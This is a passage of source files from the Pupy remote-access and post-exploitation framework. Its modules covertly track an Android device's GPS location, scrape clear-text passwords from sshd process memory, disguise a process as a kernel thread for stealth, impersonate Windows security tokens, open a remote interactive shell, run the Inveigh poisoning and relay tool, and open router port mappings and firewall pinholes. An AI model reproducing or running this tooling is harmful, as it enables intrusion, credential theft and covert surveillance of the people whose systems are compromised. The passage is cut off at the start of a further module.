        gpsTracker = self.client.conn.modules['pupydroid.gpsTracker'].GpsTracker(period=args.period, inMemory=args.in_memory)
        if args.is_GPS_enabled:
            self.success("Is GPS enabled?")
            print(gpsTracker.isGPSenabled())
        if args.is_network_rovider_enabled:
            self.success("Is Network Provider enabled?")
            print(gpsTracker.isNetworkProviderEnabled())
        if args.get_position:
            if not gpsTracker.isNetworkProviderEnabled() and not gpsTracker.isGPSenabled():
                self.error("GPS or Network Provider is not enabled on the device. You should not be able to get location!")
                return
            else:
                self.success("GPS or Network Provider is enabled on the device. You should be able to get location!")
            lat, lon = None, None
            gpsTracker.enable()
            for nbRetry in range(3):
                self.success("Getting current location...")
                lat, lon = gpsTracker.getCurrentLocation()
                if lat is None and lon is None:
                    self.error("Impossible to get location, retrying...")
                    sleep(5)
                else:
                    self.success("Current location:")
                    print("latitude: {0} , longitude: {1}".format(lat, lon))
                    break
            gpsTracker.disable()
        if args.start:
            if self.client.conn.modules["pupydroid.gpsTracker"].startGpsTracker(period=args.period):
                self.success("Tracking enabled. Get GPS position each {0} secds".format(args.period))
            else:
                self.error("Tracking not enabled because already activated")
        elif args.stop:
            self.success("Stopping GPS tracking... (can take {0} secds)".format(args.period))
            if self.client.conn.modules["pupydroid.gpsTracker"].stopGpsTracker():
                self.success("Tracking stopped")
            else:
                self.error("Tracking not stopped because not activated")
        elif args.dump:
            filename = os.path.join(self.localFolder,"gpsTraces.csv")
            if not args.in_memory:
                traces = []
                download(self.client.conn, "keflfjezomef.csv",filename)
                self.success("GPS positions downloaded in {0}".format(filename))
                f = csv.DictReader(open(filename))
                for row in f:
                    traces.append([row['date'].replace(' ',''),row['latitude'].replace(' ',''),row['longitude'].replace(' ','')])
            else:
                traces = self.client.conn.modules["pupydroid.gpsTracker"].dumpGpsTracker()
            self.success("{0} GPS positions".format(len(traces)))
            if len(traces)>0:
                if args.in_memory:
                    f=open(filename,'w')
                    f.write("Date, Lat, Lon\n")
                    for aPos in traces:
                        f.write("{0}, {1}, {2}\n".format(aPos[0], aPos[1], aPos[2]))
                    f.close()
                    self.success("GPS positions (.csv) saved in {0}".format(filename))
                kmlFilename = os.path.join(self.localFolder,"gpsTraces.kml")
                generateKML(androidID, traces, outputFile=kmlFilename)
                self.success("KML file created in {0}".format(kmlFilename))
            else:
                self.error("No GPS positions get. You should start GPS tracking or wait a moment")
        elif args.status:
            if self.client.conn.modules["pupydroid.gpsTracker"].statusGpsTracker():
                self.success("GPS tracking is enabled")
            else:
                self.success("GPS tracking is NOT enabled")
        elif args.clean:
            status = self.client.conn.modules["pupydroid.gpsTracker"].deleteFile()
            if status:
                self.success("Trace file deleted from device")
            else:
                self.error("Impossible to delete trace file on device")
                self.error("Gps Tracking has never been enabled or it is running")


================================================
FILE: pupy/modules/hashmon.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

__class_name__='KeyloggerModule'

@config(cat='gather', compat=['linux', 'solaris'])
class KeyloggerModule(PupyModule):
    '''
        Try to find clear text passwords in memory
    '''
    unique_instance = True
    dependencies = {
        'linux': ['memorpy', 'hashmon'],
    }

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='hashmon', description=cls.__doc__)
        cls.arg_parser.add_argument(
            '-F', '--filter', default='.*/?(sshd)$', help='Regex to filter interesting process names')
        cls.arg_parser.add_argument(
            '-H', '--hashes', default='', help='Hashes to search (derive from shadow by default)')
        cls.arg_parser.add_argument('-p', '--poll', default=20, type=int, help='Poll interval (seconds)')
        cls.arg_parser.add_argument('-d', '--dups', default=131072, type=int,
                                         help='Amount of processed strings to store')
        cls.arg_parser.add_argument('-P', '--policy', default=True, help='Regex to check valid password')
        cls.arg_parser.add_argument('-m', '--min', default=8, type=int, help='Minimal password length')
        cls.arg_parser.add_argument('-M', '--max', default=20, type=int, help='Maximal password length')
        cls.arg_parser.add_argument('action', choices=['start', 'stop', 'dump'])

    def run(self, args):
        start = self.client.remote('hashmon', 'start')
        stop = self.client.remote('hashmon', 'stop', False)
        dump = self.client.remote('hashmon', 'dump')

        if args.action == 'start':
            start(
                [x.strip() for x in args.filter.split(',')],
                hashes=args.hashes.split(),
                poll=args.poll,
                minpw=args.min, maxpw=args.max,
                maxdups=args.dups,
                policy=args.policy
            )
        elif args.action == 'dump':
            results = dump()
            if results is None:
                self.error('HashMon is not started')
            else:
                for password, hash in results:
                    self.success('{}:{}'.format(hash, password))

        elif args.action == 'stop':
            stop()


================================================
FILE: pupy/modules/hide_process.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

__class_name__ = "HideProcessModule"


@config(compat="linux", cat="manage", tags=["hide", "rootkit", "stealth"])
class HideProcessModule(PupyModule):
    """ Edit current process argv & env not to look suspicious """

    dependencies = ["hide_process"]

    @classmethod
    def init_argparse(cls):
        example = 'Example:\n'
        example += '>> hide_process --argv "[kworker/2:0]"\n'

        cls.arg_parser = PupyArgumentParser(prog="hide_process", description=cls.__doc__, epilog=example)
        cls.arg_parser.add_argument('--argv', default="/bin/bash", help='change the new process argv')

    def run(self, args):
        change_argv = self.client.remote('hide_process', 'change_argv')
        change_argv(argv=args.argv)
        self.success("process argv and env changed !")


================================================
FILE: pupy/modules/http.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyOutput import Pygment, Table, NewLine
from pygments.lexers import guess_lexer, JsonLexer
from json import loads, dumps

__class_name__ = 'http'


@config(cat='admin')
class http(PupyModule):
    ''' Trivial Get/Post requests via HTTP protocol '''
    is_module=False

    dependencies = []

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='http', description=cls.__doc__)
        cls.arg_parser.add_argument('-H', '--header', default=[], action='append',
                                         help='User-Agent=Mozilla X-Forwarded-For=127.0.0.1')
        cls.arg_parser.add_argument('-C', '--color', action='store_true', help='Try to colorize output')
        cls.arg_parser.add_argument('-j', '--json', action='store_true', help='Indent JSON response')
        cls.arg_parser.add_argument('-I', '--get-headers', action='store_true', default=False, help='Return headers')
        cls.arg_parser.add_argument('-R', '--no-result', action='store_true', default=False,
                                    help='Do not show result')
        cls.arg_parser.add_argument('-P', '--proxy', help='Proxy URI (socks://127.0.0.1:1234)')
        cls.arg_parser.add_argument('-o', '--output', help='Output to file')
        cls.arg_parser.add_argument('-i', '--input', help='Input from file (POST)')
        cls.arg_parser.add_argument('-v', '--verify', default=False, action='store_true', help='Verify certificate')
        cls.arg_parser.add_argument('-r', '--follow-redirects', default=False, action='store_true',
                                     help='Follow redirects')
        cls.arg_parser.add_argument('url', help='url')
        cls.arg_parser.add_argument('data', nargs='*', default=[], help='Data (POST/urlencode)')

    def run(self, args):
        tinyhttp = self.client.remote('network.lib.tinyhttp')

        if '://' not in args.url:
            args.url = 'http://' + args.url

        http = tinyhttp.HTTP(
            proxy=args.proxy,
            noverify=not args.verify,
            follow_redirects=args.follow_redirects,
        )

        headers = dict(
            tuple(x.split('=', 1)) for x in (
                args.header if type(args.header) == list else [
                    args.header
                ]
            )
        )

        try:
            result = None
            if args.input or args.data:
                result = self.client.obtain_call(
                    http.post,
                    args.url,
                    data=[
                          tuple(x.split('=', 1)) for x in args.data
                    ] if all(
                        '=' in param for param in args.data
                    ) else ' '.join(args.data),
                    file=args.input,
                    save=args.output,
                    return_headers=args.get_headers,
                    code=args.get_headers,
                    return_url=args.get_headers,
                    headers=headers
                )
            else:
                result = self.client.obtain_call(
                    http.get,
                    args.url,
                    save=args.output,
                    return_headers=args.get_headers,
                    code=args.get_headers,
                    return_url=args.get_headers,
                    headers=headers
                )

            if args.get_headers:
                result, url, code, headers = result
                self.log(Table([
                    {
                        'HEADER': header,
                        'VALUE': value,
                    } for header, value in headers.items()
                ], ['HEADER', 'VALUE'], caption='{} {}'.format(code, url)))

                if not args.no_result:
                    self.log(NewLine())

            if result and not args.no_result:
                if args.json:
                    try:
                        result = dumps(
                            loads(result),
                            indent=1, sort_keys=True
                        )
                        if args.color:
                            result = Pygment(JsonLexer(), result)
                    except ValueError:
                        pass

                elif args.color:
                    try:
                        lexer = guess_lexer(result)
                        result = Pygment(lexer, result)
                    except:
                        pass

                self.log(result)

        except Exception as e:
            if hasattr(e, 'reason'):
                code = getattr(e, 'code', None)
                message = '{} {} ({})'.format(code or '?', e.reason, e.filename or '')
                if code and (code // 100 < 4):
                    self.warning(message)
                else:
                    self.error(message)

                return

            elif hasattr(e, 'msg'):
                message = e.msg
            else:
                message = str(e)

            self.error('Error: {}'.format(message))


================================================
FILE: pupy/modules/igd.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import json

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.utils.term import colorize
from pupy.network.lib.convcompat import as_unicode_string_deep
from defusedxml import minidom

__class_name__ = "IGDClient"


class IGDCMDClient(object):
    def __init__(self):
        self.igdc = None

    def init(self, IGDClient, args, log):
        """
        initiate the IGDClient
        """

        self.igdc = IGDClient(
            args.source, args.url,
            args.DEBUG, args.pretty_print
        )

        self.log = log

    def show(self, values):
        values = as_unicode_string_deep(values)

        if isinstance(values, dict):
            column_size = max([len(x) for x in values])
            fmt = '{{:<{}}}'.format(column_size)
            for k, v in values.items():
                if k.startswith('New'):
                    k = k[3:]
                self.log(colorize(fmt.format(k), 'yellow')+' {}'.format(v))
        else:
            values = list(values)
            columns = []
            column_sizes = {}
            for value in values:
                for column, cvalue in value.items():
                    if column not in columns:
                        if column.startswith('New'):
                            columnlen = len(column) - 3
                        else:
                            columnlen = len(column)

                        columns.append(column)
                        column_sizes[column] = max(len(str(cvalue)), columnlen)
                    else:
                        column_sizes[column] = max(
                            column_sizes[column], len(str(cvalue))
                        )

            lines = []
            header = ''
            for column in columns:
                fmt = ' {{:<{}}} '.format(column_sizes[column])
                if column.startswith('New'):
                    column = column[3:]
                header += colorize(fmt.format(column), 'yellow')
            lines.append(header)

            for value in values:
                row = ''
                for column in columns:
                    fmt = ' {{:<{}}} '.format(column_sizes[column])
                    row += fmt.format(value[column] or '')
                lines.append(row)

            self.log('\n'.join(lines))

    def addPM(self, args):
        self.igdc.AddPortMapping(
            args.extPort, args.proto, args.intPort,
            args.enabled, args.duration,
            args.intIP, args.desc, args.remote
        )

    def delPM(self, args):
        self.igdc.DeletePortMapping(
            args.extPort,
            args.proto, args.remote)

    def getExtIP(self, args):
        extip = self.igdc.GetExternalIP()
        self.show(extip)

    def getGPM(self, args):
        pm = self.igdc.GetGenericPortMappingEntry(args.index, True)
        self.show(pm)

    def getSPM(self, args):

        pm = self.igdc.GetSpecificPortMappingEntry(
            args.extPort, args.proto, args.remote)
        self.show(pm)

    def getNRSS(self, args):

        pm = self.igdc.GetNATRSIPStatus()
        self.show(pm)

    def getWDD(self, args):

        pm = self.igdc.GetWarnDisconnectDelay()
        self.show(pm)

    def getIDT(self, args):

        pm = self.igdc.GetIdleDisconnectTime()
        self.show(pm)

    def getADT(self, args):

        pm = self.igdc.GetAutoDisconnectTime()
        self.show(pm)

    def getSI(self, args):
        pm = self.igdc.GetStatusInfo()
        self.show(pm)

    def setWDD(self, args):

        self.igdc.SetWarnDisconnectDelay(args.delay)

    def setIDT(self, args):

        self.igdc.SetIdleDisconnectTime(args.time)

    def setADT(self, args):

        self.igdc.SetAutoDisconnectTime(args.time)

    def forceTerm(self, args):

        self.igdc.ForceTermination()

    def requestTerm(self, args):

        self.igdc.RequestTermination()

    def requestConn(self, args):

        self.igdc.RequestConnection()

    def getCT(self, args):

        pm = self.igdc.GetConnectionTypeInfo()
        self.show(pm)

    def setCT(self, args):

        self.igdc.SetConnectionType(args.ct_type)

    def custom(self, args):
        args.input_args
        iargs = json.loads(args.input_args)
        resp_xml = self.igdc.customAction(args.method_name, iargs, args.svc)
        if self.igdc.pprint:
            xml = minidom.parseString(resp_xml)
            xml.toprettyxml()
        else:
            resp_xml

    # following are for IPv6FWControl
    def getFWStatus(self, args):
        pm = self.igdc.GetFWStatus()
        self.show(pm)

    def addPH(self, args):
        r = self.igdc.AddPinhole(
            args.intIP,
            args.rIP,
            args.rPort,
            args.intPort,
            args.proto,
            args.lease)
        self.show(r)

    def getOPHT(self, args):
        r = self.igdc.GetPinholeTimeout(
            args.intIP, args.rIP, args.rPort, args.intPort, args.proto)
        self.show(r)

    def updatePH(self, args):
        self.igdc.UpdatePinhole(args.uid, args.lease)

    def delPH(self, args):
        self.igdc.DelPinhole(args.uid)

    def getPHPkts(self, args):
        r = self.igdc.GetPinholePkts(args.uid)
        self.show(r)

    def chkPH(self, args):
        r = self.igdc.CheckPinhole(args.uid)
        self.show(r)


@config(cat='admin')
class IGDClient(PupyModule):
    """ UPnP IGD Client """

    @classmethod
    def init_argparse(cls):
        cli = IGDCMDClient()

        parser = PupyArgumentParser(
            prog='igdc',
            description=cls.__doc__
        )
        parser.set_defaults(func=cli.getExtIP)
        parser.add_argument('-d', '--DEBUG', action='store_true',
                            help='enable DEBUG output')

        parser.add_argument(
            '-pp',
            '--pretty_print',
            action='store_true',
            help='enable xml pretty output for debug and custom action')
        parser.add_argument('-s', '--source', default='0.0.0.0',
                            help='source address of requests')
        parser.add_argument('-u', '--url',
                            help='control URL')

        subparsers = parser.add_subparsers()

        parser_start = subparsers.add_parser('add', help='add port mapping')
        parser_start.add_argument('intPort', type=int,
                                  help='Internal Port')
        parser_start.add_argument('extPort', type=int,
                                  help='External Port')
        parser_start.add_argument('proto', choices=['UDP', 'TCP'],
                                  help='Protocol')
        parser_start.add_argument('intIP', nargs='?', default=None,
                                  help='Internal IP')
        parser_start.add_argument('-r', '--remote', default='',
                                  help='remote host')
        parser_start.add_argument('-d', '--desc', default='',
                                  help='Description of port mapping')
        parser_start.add_argument(
            '-e',
            '--enabled',
            type=int,
            choices=[
                1,
                0],
            default=1,
            help='enable or disable port mapping')
        parser_start.add_argument('-du', '--duration', type=int, default=0,
                                  help='Duration of the mapping')
        parser_start.set_defaults(func=cli.addPM)

        parser_del = subparsers.add_parser('del', help='del port mapping')
        parser_del.add_argument('extPort', type=int,
                                help='External Port')
        parser_del.add_argument('proto', choices=['UDP', 'TCP'],
                                help='Protocol')
        parser_del.add_argument('-r', '--remote', default='',
                                help='remote host')
        parser_del.set_defaults(func=cli.delPM)

        parser_geip = subparsers.add_parser('getextip', help='get external IP')
        parser_geip.set_defaults(func=cli.getExtIP)

        parser_gpm = subparsers.add_parser('getgpm', help='get generic pm entry')
        parser_gpm.add_argument('-i', '--index', type=int,
                           help='index of PM entry')
        parser_gpm.set_defaults(func=cli.getGPM)

        parser_spm = subparsers.add_parser(
            'getspm', help='get specific port mapping')
        parser_spm.add_argument('extPort', type=int,
                                help='External Port')
        parser_spm.add_argument('proto', choices=['UDP', 'TCP'],
                                help='Protocol')
        parser_spm.add_argument('-r', '--remote', default='',
                                help='remote host')
        parser_spm.set_defaults(func=cli.getSPM)

        parser_nrss = subparsers.add_parser(
            'getnrss', help='get NAT and RSIP status')
        parser_nrss.set_defaults(func=cli.getNRSS)

        parser_gwdd = subparsers.add_parser(
            'getwdd', help='get warn disconnect delay')
        parser_gwdd.set_defaults(func=cli.getWDD)

        parser_swdd = subparsers.add_parser(
            'setwdd', help='set warn disconnect delay')
        parser_swdd.add_argument('delay', type=int,
                                 help='warn disconnect delay')
        parser_swdd.set_defaults(func=cli.setWDD)

        parser_gidt = subparsers.add_parser(
            'getidt', help='get idle disconnect time')
        parser_gidt.set_defaults(func=cli.getIDT)

        parser_sidt = subparsers.add_parser(
            'setidt', help='set idle disconnect time')
        parser_sidt.add_argument('time', type=int,
                                 help='idle disconnect time')
        parser_sidt.set_defaults(func=cli.setIDT)

        parser_gadt = subparsers.add_parser(
            'getadt', help='get auto disconnect time')
        parser_gadt.set_defaults(func=cli.getADT)

        parser_sadt = subparsers.add_parser(
            'setadt', help='set auto disconnect time')
        parser_sadt.add_argument('time', type=int,
                                 help='auto disconnect time')
        parser_sadt.set_defaults(func=cli.setADT)

        parser_gsi = subparsers.add_parser('getsi', help='get status info')
        parser_gsi.set_defaults(func=cli.getSI)

        parser_rt = subparsers.add_parser('rt', help='request termination')
        parser_rt.set_defaults(func=cli.requestTerm)

        parser_ft = subparsers.add_parser('ft', help='force termination')
        parser_ft.set_defaults(func=cli.forceTerm)

        parser_rc = subparsers.add_parser('rc', help='request connection')
        parser_rc.set_defaults(func=cli.requestConn)

        parser_gct = subparsers.add_parser(
            'getct', help='get connection type info')
        parser_gct.set_defaults(func=cli.getCT)

        parser_sct = subparsers.add_parser('setct', help='set connection type')
        parser_sct.add_argument('ct_type',
                                help='connection type')
        parser_sct.set_defaults(func=cli.setCT)

        parser_cust = subparsers.add_parser('custom', help='use custom action')
        parser_cust.add_argument('method_name',
                                 help='name of custom action')
        parser_cust.add_argument('-svc', type=str,
                                 choices=['WANIPConnection',
                                          'WANIPv6FirewallControl'],
                                 default='WANIPConnection',
                                 help='IGD service, default is WANIPConnection')
        parser_cust.add_argument(
            '-iargs',
            '--input_args',
            default='{}',
            help='input args, the format is same as python dict,'
            'e.g. "{\'NewPortMappingIndex\': [0, \'ui4\']}"')
        parser_cust.set_defaults(func=cli.custom)

        # following for IPv6FWControl
        parser_gfwstatus = subparsers.add_parser(
            'getfwstatus', help='get IPv6 FW status')
        parser_gfwstatus.set_defaults(func=cli.getFWStatus)

        parser_addph = subparsers.add_parser('addph', help='add IPv6 FW Pinhole')
        parser_addph.add_argument('intIP',
                                  help='Internal IP')
        parser_addph.add_argument('-intPort', type=int, default=0,
                                  help='Internal Port')
        parser_addph.add_argument('proto', choices=['UDP', 'TCP', 'ALL'],
                                  help='Protocol')
        parser_addph.add_argument('-rIP', default='',
                                  help='Remote IP')
        parser_addph.add_argument('-rPort', type=int, default=0,
                                  help='Remote Port')

        parser_addph.add_argument('-lease', type=int, default=3600,
                                  help='leasetime of the pinhole')
        parser_addph.set_defaults(func=cli.addPH)

        parser_gopht = subparsers.add_parser(
            'getopht', help='get IPv6 FW OutboundPinholeTimeout')
        parser_gopht.add_argument('-intIP', type=str, default='',
                                  help='Internal IP')
        parser_gopht.add_argument('-intPort', type=int, default=0,
                                  help='Internal Port')
        parser_gopht.add_argument(
            '-proto',
            choices=[
                'UDP',
                'TCP',
                'ALL'],
            default='ALL',
            help='Protocol')
        parser_gopht.add_argument('-rIP', default='',
                                  help='Remote IP')
        parser_gopht.add_argument('-rPort', type=int, default=0,
                                  help='Remote Port')
        parser_gopht.set_defaults(func=cli.getOPHT)

        parser_uph = subparsers.add_parser(
            'updateph', help='update IPv6 FW pinhole')
        parser_uph.add_argument('uid', type=int, help='UniqueID of the pinhole')
        parser_uph.add_argument('lease', type=int,
                                help='new leasetime of the pinhole')
        parser_uph.set_defaults(func=cli.updatePH)

        parser_dph = subparsers.add_parser('delph', help='delete IPv6 FW pinhole')
        parser_dph.add_argument('uid', type=int, help='UniqueID of the pinhole')
        parser_dph.set_defaults(func=cli.delPH)

        parser_gphpkts = subparsers.add_parser(
            'getphpkts', help='get number of packets go through specified IPv6FW pinhole')
        parser_gphpkts.add_argument(
            'uid', type=int, help='UniqueID of the pinhole')
        parser_gphpkts.set_defaults(func=cli.getPHPkts)

        parser_chkph = subparsers.add_parser(
            'chkph', help='check if the specified pinhole is working')
        parser_chkph.add_argument('uid', type=int, help='UniqueID of the pinhole')
        parser_chkph.set_defaults(func=cli.chkPH)

        cls.arg_parser = parser
        cls.cli = cli

    def run(self, args):
        igdc = self.client.remote('network.lib.igd', 'IGDClient', False)

        self.cli.init(igdc, args, self.log)

        if not self.cli.igdc.available:
            self.error('IGD: Not found in LAN')
            return

        try:
            args.func(args)
        except Exception as e:
            if hasattr(e, 'description'):
                self.error('IGD: {}'.format(e.description))
            else:
                self.error('Exception: {}'.format(e))


================================================
FILE: pupy/modules/impersonate.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.modules.lib.windows.migrate import migrate
from pupy.pupylib.PupyOutput import Table, MultiPart

__class_name__="ImpersonateModule"

@config(compat="windows", category="exploit")
class ImpersonateModule(PupyModule):
    """ list/impersonate process tokens """

    dependencies=["pupwinutils.security"]

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="impersonate", description=cls.__doc__)
        cls.arg_parser.add_argument("-l", "--list", action='store_true', help="list available Sids")
        cls.arg_parser.add_argument("-i", "--impersonate", metavar="SID", help="impersonate a sid")
        cls.arg_parser.add_argument("-m", "--migrate", action="store_true", help="spawn a new process and migrate into it")
        cls.arg_parser.add_argument("-r", "--rev2self", action='store_true', help="call rev2self")

    def run(self, args):
        if args.list:
            ListCachedSids = self.client.remote(
                'pupwinutils.security', 'ListCachedSids')
            ListSids = self.client.remote('pupwinutils.security', 'ListSids')

            cached = ListCachedSids()
            sids = ListSids()

            process_table = []
            sids_table = []
            sids_dict = {}

            for (pid, process, sid, username) in sids:
                process_table.append({
                    'pid': pid,
                    'process': process,
                    'sid': sid,
                    'username': username
                })

                sids_dict[sid] = username

            for sid, username in sids_dict.items():
                sids_table.append({
                    'sid': sid,
                    'username': username
                })

            for (sid, username) in cached:
                sids_table.append({
                    'sid': sid + ' (CACHED)',
                    'username': username
                })

            self.log(MultiPart([
                Table(process_table, [
                    'pid', 'process', 'username', 'sid'
                ], caption='Process table'),

                Table(sids_table, [
                    'sid', 'username'
                ], caption='Available Sids')
            ]))

        elif args.impersonate:
            if args.migrate:
                create_proc_as_sid = self.client.remote('pupwinutils.security', 'create_proc_as_sid', False)

                proc_pid = create_proc_as_sid(args.impersonate)
                migrate(self, proc_pid, keep=True)
            else:
                impersonate_sid_long_handle = self.client.remote(
                    'pupwinutils.security', 'impersonate_sid_long_handle', False)

                self.client.impersonated_dupHandle = impersonate_sid_long_handle(args.impersonate, close=False)

            self.success('Sid {} impersonated !'.format(args.impersonate))

        elif args.rev2self:
            rev2self = self.client.remote('pupwinutils.security', 'rev2self', False)

            rev2self()
            self.client.impersonated_dupHandle = None
            self.success('rev2self called')

        else:
            self.error('no option supplied')


================================================
FILE: pupy/modules/interactive_shell.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import sys
import os
from pupy.network.lib.rpc import nowait
from argparse import REMAINDER

from pupy.pupylib.PupyModule import (
    config, PupyModule, PupyArgumentParser,
    REQUIRE_TERMINAL
)

__class_name__="InteractiveShell"
@config(cat="admin")
class InteractiveShell(PupyModule):
    """
        open an interactive command shell with a nice tty
    """

    rec = 'ttyrec'

    io = REQUIRE_TERMINAL

    dependencies = {
        'windows': ['winpty.dll', 'winpty', 'pupwinutils.security'],
        'all': ['ptyshell'],
    }

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(description=cls.__doc__)
        cls.arg_parser.add_argument('-c', '--codepage', help="Decode output with encoding")
        cls.arg_parser.add_argument('-T', action='store_true', dest='pseudo_tty', help="Disable tty allocation")
        cls.arg_parser.add_argument('-S', '--su', help='Try to change uid (linux only)')
        cls.arg_parser.add_argument('-R', default='asciinema', dest='recorder',
                                         choices=['ttyrec', 'asciinema', 'asciinema1', 'none'],
                                         help="Change tty recorder")
        cls.arg_parser.add_argument('program', nargs=REMAINDER, help='Execute in shell')

    def init(self, args):
        if args.recorder == 'none':
            self.rec = None
        else:
            self.rec = args.recorder

        PupyModule.init(self, args)

    def run(self, args):
        if 'linux' not in sys.platform:
            raise NotImplementedError('Interactive shell is not supported for this platform')

        # Hooks

        # self.stdout may be mapped to self.iogroup.stdout via logger
        # TODO: Logger refactoring - migrate to IOGroup?

        ps = None
        detached = [False]

        def write(data):
            if not self.iogroup.closed:
                self.stdout.write(data)

        def local_detach(iogroup):
            detached[0] = True
            iogroup.close()

        def local_close(iogroup):
            iogroup.close()

        term = os.environ.get('TERM', 'xterm')

        acquire_shell = self.client.remote('ptyshell', 'acquire', False)
        release_shell = self.client.remote('ptyshell', 'release', False)

        cmdline = ' '.join(args.program)

        try:
            new, ps = acquire_shell(cmdline, term, args.su)
        except Exception as e:
            self.error(' '.join(x for x in e.args if type(x) == str))
            return

        if not ps:
            self.error('Can\'t create shell')
            return

        if new:
            self.client.conn.register_remote_cleanup(release_shell)

        remote_write = nowait(ps.write)

        self.iogroup.set_on_winch(nowait(ps.set_pty_size))
        self.iogroup.set_mapping('~~~.', local_close)
        self.iogroup.set_mapping('~~~,', local_detach)

        if new:
            self.success('Start new shell')
        else:
            self.warning('Reuse previous shell')

        with self.iogroup:
            ps.attach(write, self.iogroup.close)

            for data in self.iogroup:
                remote_write(data)

        try:
            ps.detach()
        except Exception as e:
            detached[0] = False
            self.error(e)

        if detached[0]:
            self.warning('Shell detached')
        else:
            try:
                release_shell()
                self.success('Shell closed')
                self.client.conn.unregister_remote_cleanup(release_shell)
            except Exception as e:
                self.error(e)


================================================
FILE: pupy/modules/inveigh.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import os

from io import open

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib import ROOT

__class_name__="Inveigh"

@config(compat="windows", category="privesc")
class Inveigh(PupyModule):
    """
        execute Inveigh commands
    """
    dependencies = {
        'windows': ['powershell']
    }

    known_args = True

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(
            prog="Inveigh", description=cls.__doc__
        )

        commands = cls.arg_parser.add_subparsers(title='actions')
        start = commands.add_parser('start', help='Start Inveigh')
        subtype = start.add_mutually_exclusive_group()
        subtype.add_argument('-R', '--relay', action='store_true', default=False, help='Start relay')
        start.set_defaults(command='start')
        dump = commands.add_parser('get', help='Get Inveigh results')
        dump.set_defaults(command='dump')
        stop = commands.add_parser('stop', help='Stop Inveigh')
        stop.set_defaults(command='stop')
        info = commands.add_parser('help', help='Get help page from Invoke-Inveigh')
        info.set_defaults(command='help')
        info.add_argument('-R', '--relay', action='store_true', default=False, help='Help about relay')

    def run(self, args):
        pscall = self.client.remote('powershell', 'call')
        psload = self.client.remote('powershell', 'load')
        psloaded = self.client.remote('powershell', 'loaded', False)
        psunload = self.client.remote('powershell', 'unload', False)

        script = 'inveigh'
        loaded = True

        if not psloaded(script):
            loaded = False
            if args.command in ('dump', 'stop'):
                self.error('Module is not loaded yet')
                return

            script_file = 'Inveigh-Relay.ps1' if args.relay else 'Inveigh.ps1'

            with open(os.path.join(ROOT, 'external', 'Inveigh', 'Scripts', script_file)) as content:
                width, _ = self.iogroup.consize
                content = content.read()
                if args.relay:
                    content = content.replace('Invoke-InveighRelay', 'Invoke-Inveigh')

                psload(script, content, width=width)

        if args.command == 'start':
            expression = 'Invoke-Inveigh ' + ' '.join(args.unknown_args)
        elif args.command == 'dump':
            expression = 'Get-Inveigh ' + ' '.join(args.unknown_args)
        elif args.command == 'stop':
            expression = 'Stop-Inveigh'
        elif args.command == 'help':
            expression = 'help Invoke-Inveigh ' + ' '.join(args.unknown_args)

        output, rest = pscall(script, expression)
        if args.command == 'stop' or (args.command == 'help' and not loaded):
            psunload(script)

        if rest:
            self.warning(rest)

        if output:
            self.log(output)


================================================
FILE: pupy/modules/ip.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyOutput import Color, Line, Table

from pupy.network.lib.compat import as_native_string

import logging

__class_name__ = 'IPModule'


@config(cat="admin")
class IPModule(PupyModule):
    """ list interfaces """

    dependencies = ['pupyps']
    is_module=False

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(
            prog='ip', description=cls.__doc__
        )

        cls.arg_parser.add_argument(
            'iface', nargs='*', help='show only these interfaces'
        )

    def run(self, args):
        try:
            interfaces = self.client.remote('pupyps', 'interfaces')
            families = {
                int(k): as_native_string(v) for k, v in self.client.remote_const(
                    'pupyps', 'families'
                ).items()
            }

            data = interfaces()
            families = {
                int(x): as_native_string(y) for x, y in families.items()
            }

            objects = []

            for addr, addresses in data['addrs'].items():
                if args.iface and addr not in args.iface:
                    continue

                color = ''
                if 'stats' in data and data['stats']:
                    if addr in data['stats'] and not data['stats'][addr].get('isup'):
                        color = 'darkgrey'
                    elif not any([families[x.get('family')] == 'INET' for x in addresses]):
                        color = 'grey'
                else:
                    color = 'white'

                record = {}
                record['K'] = Color(addr, color or 'cyan')

                first = True

                for address in addresses:
                    if first:
                        first = False
                    else:
                        record = {}
                        record['K'] = ''

                    record['F'] = Color(families[address.get('family')], color)
                    V = Color(address.get('address', '').split('%')[0], color or 'yellow')

                    if address.get('netmask') != 'None':
                        V = Line(V, Color(address.get('netmask'), color))
                        V.dm = '/'

                    if address.get('broadcast') != 'None':
                        V = Line(V, Color('brd '+address.get('broadcast'), color))

                    record['V'] = Line(V)

                    objects.append(record)

            self.log(Table(objects, ['K', 'F', 'V'], legend=False))

        except Exception as e:
            logging.exception(e)


================================================
FILE: pupy/modules/isearch.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys

